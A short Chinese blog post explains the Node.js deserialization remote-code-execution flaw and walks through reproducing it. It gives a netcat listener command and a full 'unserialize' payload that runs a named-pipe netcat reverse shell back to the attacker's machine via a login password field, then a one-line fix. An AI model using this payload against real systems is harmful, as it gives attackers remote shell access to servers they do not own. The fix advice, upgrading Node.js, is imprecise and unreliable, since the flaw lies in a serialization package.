Node.js 反序列化漏洞

2018-03-08  本文已影响42人  此间不留白

0x00 漏洞介绍

node.js 存在反序列化远程代码任意执行漏洞,若不可信数据传入 unserialize() 函数中,通过 Javascript中的函数表达式(IIFE)在对象被创建时调用 serialize() 函数, 可以实现任意代码执行。

0x01 漏洞复现

1.PNG
nc -lv -p 8080

表示监听本地8080端口。

2.PNG
_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}()

修改其中的<ip>为 本机ip,<port>为8080端口,用户名任意填写,复制exp到密码框,点击登录即可。

3.PNG

0x02 漏洞修复

要修复此漏洞,只要将node.js升级到最新版本即可。

上一篇 下一篇

猜你喜欢

热点阅读